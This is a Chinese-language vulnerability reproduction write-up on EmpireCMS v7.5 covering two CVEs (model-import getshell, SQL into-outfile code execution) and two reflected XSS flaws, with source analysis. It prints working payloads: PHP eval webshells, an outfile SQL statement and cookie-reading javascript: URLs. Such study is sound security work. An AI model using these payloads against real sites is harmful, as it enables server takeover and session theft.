帝國CMS(EmpireCMS)v7.5漏洞分析


帝國CMS(EmpireCMS)v7.5漏洞分析

0x01漏洞描述

本次CVE復現了四個EmpireCMSv7.5的漏洞,在此一並記錄下。

  • CVE-2018-18086 后台getshell
  • CVE-2018-19462 代碼注入
  • 后台xss
  • 前台xss

0x02漏洞環境

所需環境EmpireCMS <= 7.5

本次漏洞復現所用環境為EmpireCMSv7.5

EmpireCMS環境下載地址:http://www.phome.net/download/

0x03環境搭建

修改php.ini配置文件, PHP環境中必須開啟短標簽,不然安裝會提示無法安裝

short_open_tag = On

這邊復現使用的是wamp,重啟wampserver

wamp默認數據庫名稱為root,密碼空

安裝完畢后,刪除/e/install文件夾

登錄admin賬號,路徑http://localhost/EmpireCMS/e/admin/index.php

0x04漏洞復現

CVE-2018-18086 后台getshell

漏洞類型:一句話木馬getshell

漏洞原理:EmpireCMS 7.5版本及之前版本在后台備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函數存在安全漏洞,攻擊者可利用該漏洞上傳任意文件。

1.源碼分析

1.1主要漏洞代碼位置

//導入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

轉到LoadInMod定義

localhost/EmpireCMS/e/class/moddofun.php找到上傳文件的定義。

//上傳文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

1.2文件包含

上傳文件處使用time().makepassword(10)進行加密文件名

//取得隨機數
function make_password($pw_length){
	$low_ascii_bound=48;
	$upper_ascii_bound=122;
	$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
	while($i<$pw_length)
	{
		if(PHP_VERSION<'4.2.0')
		{
			mt_srand((double)microtime()*1000000);
		}
		mt_srand();
		$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
		if(!in_array($randnum,$notuse))
		{
			$password1=$password1.chr($randnum);
			$i++;
		}
	}
	return $password1;
}

下方代碼@include($path)直接包含文件,因此可以通過添加創建文件的代碼繞過。

2.進入測試

2.1來到導入系統模型的頁面

image-20201026105219278

2.2上傳一個1.php.mod文件,需要注意$符號需要轉義

<?php file_put_contents("getshell.php","<?php @eval(\$_POST[LEOGG]); ?>");?>

2.3導入模型成功,看到目錄里已經寫入shell文件

image-20201026110341795

2.4蟻劍連接成功,getshell

image-20201026110913060

CVE-2018-19462 代碼注入

漏洞類型:惡意sql語句執行

漏洞原理:EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代碼注入漏洞。該漏洞源於外部輸入數據構造代碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的代碼段,修改網絡系統或組件的預期的執行控制流。

1.源碼分析

1.1主要漏洞代碼位置

執行sql語句處

image-20201026135817545

分析源碼定位漏洞出現的位置在localhost/EmpireCMS/e/admin/db/DoSql.php,對sqltext進行RepSqlTbpre函數處理

//運行SQL語句
function ExecSql($id,$userid,$username){
	global $empire,$dbtbpre;
	$id=(int)$id;
	if(empty($id))
	{
		printerror('EmptyExecSqlid','');
	}
	$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
	if(!$r['sqltext'])
	{
		printerror('EmptyExecSqlid','');
    }
	$query=RepSqlTbpre($r['sqltext']);
	DoRunQuery($query);
	//操作日志
	insert_dolog("query=".$query);
	printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}

1.2轉到定義RepSqlTbpre,發現只對表的前綴做了替換

//替換表前綴
function RepSqlTbpre($sql){
	global $dbtbpre;
	$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
	return $sql;
}

1.3轉到定義DoRunQuery,對$query進行處理。

$sql參數只做了去除空格、以;分隔然后遍歷,沒有做別的限制和過濾,導致可以執行惡意的sql語句

//運行SQL
function DoRunQuery($sql){
	global $empire;
	$sql=str_replace("\r","\n",$sql);
	$ret=array();
	$num=0;
	foreach(explode(";\n",trim($sql)) as $query)
	{
		$queries=explode("\n",trim($query));
		foreach($queries as $query)
		{
			$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
		}
		$num++;
	}
	unset($sql);
	foreach($ret as $query)
	{
		$query=trim($query);
		if($query)
		{
			$empire->query($query);
		}
	}
}

2.payload

2.1用select ... into outfile語句寫入php一句話木馬

select '<?php @eval($_POST[LEOGG])?>' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'

image-20201026143543445

語句執行成功,在目錄里看到生成的馬

image-20201026142630646

2.2蟻劍連接

連接成功,getshell

image-20201026142954165

后台xss

漏洞類型:反射型xss

漏洞文件:localhost/EmpireCMS/e/admin/openpage/AdminPage.php

漏洞原理:該漏洞是由於代碼只使用htmlspecialchars進行實體編碼過濾,而且參數用的是ENT_QUOTES(編碼雙引號和單引號),還有addslashes函數處理,但是沒有對任何惡意關鍵字進行過濾,從而導致攻擊者使用別的關鍵字進行攻擊

1.源碼分析

1.1主要漏洞代碼位置localhost/EmpireCMS/e/admin/openpage/AdminPage.php

$leftfile=hRepPostStr($_GET['leftfile'],1);
$mainfile=hRepPostStr($_GET['mainfile'],1);

1.2利用hRepPostStr函數進行過濾,跳轉到該函數的定義如下

function hRepPostStr($val,$ecms=0,$phck=0){
	if($phck==1)
	{
		CkPostStrCharYh($val);
	}
	if($ecms==1)
	{
		$val=ehtmlspecialchars($val,ENT_QUOTES);
	}
	CkPostStrChar($val);
	$val=AddAddsData($val);
	return $val;
}

1.3用ehtmlspecialchars函數進行HTML實體編碼過濾,其中ENT_QUOTES - 編碼雙引號和單引號。

function ehtmlspecialchars($val,$flags=ENT_COMPAT){
	global $ecms_config;
	if(PHP_VERSION>='5.4.0')
	{
		if($ecms_config['sets']['pagechar']=='utf-8')
		{
			$char='UTF-8';
		}
		else
		{
			$char='ISO-8859-1';
		}
		$val=htmlspecialchars($val,$flags,$char);
	}
	else
	{
		$val=htmlspecialchars($val,$flags);
	}
	return $val;
}

主要利用htmlspecialchars函數把字符轉換為HTML實體

1.4用CkPostStrChar函數對參數進行處理

function CkPostStrChar($val){
	if(substr($val,-1)=="\\")
	{
		exit();
	}
}

獲取字符末端第一個開始的字符串為\\,則退出函數。

1.5用AddAddsData函數對參數進行處理

function AddAddsData($data){
	if(!MAGIC_QUOTES_GPC)
	{
		$data=addslashes($data);
	}
	return $data;
}

如果沒有開啟MAGIC_QUOTES_GPC,則利用addslashes函數進行轉義

addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。

1.6網頁輸出

然而輸出的位置是在iframe標簽的src里,這意味着之前的過濾都沒有什么卵用。iframe標簽可以執行js代碼,因此可以利用javascript:alert(/xss/)觸發xss

2.payload

payload如下:

http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(/xss/)

其中ehash是隨機生成的,在登錄時可以看到ehash_Cczns=2TWoQiIHxxoEzHD0rZ24,如果缺少這個hash值,則會提示非法來源

觸發xss

獲取cookie信息payload

http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(document.cookie)

前台xss

漏洞類型:反射型xss

漏洞文件:localhost/EmpireCMS/e/ViewImg/index.html

漏洞原理:url地址經過Request函數處理之后,把url地址中的參數和值部分直接拼接當作a標簽的href屬性的值和img標簽的src標簽的值

1.主要漏洞代碼位置localhost/upload/e/ViewImg/index.html

if(Request("url")!=0){
	document.write("<a title=\"點擊觀看完整的圖片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" onload=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
    }

通過Request函數獲取地址欄的url參數,並作為imga標簽的src屬性和href屬性,然后經過document.write輸出到頁面。

2.轉到request函數定義

function Request(sName)
{

  /*
   get last loc. of ?
   right: find first loc. of sName
   +2
   retrieve value before next &
  
  */
  
  var sURL = new String(window.location);
  var iQMark= sURL.lastIndexOf('?');
  var iLensName=sName.length;
  
  //retrieve loc. of sName
  var iStart = sURL.indexOf('?' + sName +'=') //limitation 1
  if (iStart==-1)
        {//not found at start
        iStart = sURL.indexOf('&' + sName +'=')//limitation 1
		if (iStart==-1)
		   {//not found at end
		    return 0; //not found
		   }   
        }
        
  iStart = iStart + + iLensName + 2;
  var iTemp= sURL.indexOf('&',iStart); //next pair start
  if (iTemp ==-1)
		{//EOF
		iTemp=sURL.length;
		}  
  return sURL.slice(iStart,iTemp ) ;
  sURL=null;//destroy String
}

通過window.location獲取當前url地址,根據傳入的url參數,獲取當前參數的起始位置和結束位置

3.payload

url地址經過Request函數處理之后,然后把url地址中的參數和值部分直接拼接當作a標簽的href屬性的值和img標簽的src標簽的值

payload如下:

http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)

payload解析:

當瀏覽器載入一個Javascript URL時,它會執行URL中所包含的Javascript代碼,並且使用最后一個Javascript語句或表達式的值,轉換為一個字符串,作為新載入的文檔的內容顯示。

javascript:偽協議可以和HTML屬性一起使用,該屬性的值也應該是一個URL。一個超鏈接的href屬性就滿足這種條件。當用戶點擊一個這樣的鏈接,指定的Javascript代碼就會執行。在這種情況下,Javascript URL本質上是一個onclick事件句柄的替代。

點擊圖片觸發xss

得到cookie信息

0x05參考文章

TOPIC URL
CVE-2018-18086 后台getshell https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18086
CVE-2018-19462 代碼注入 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19462
后台xss https://www.freebuf.com/vuls/176313.html
前台xss https://www.freebuf.com/vuls/177969.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM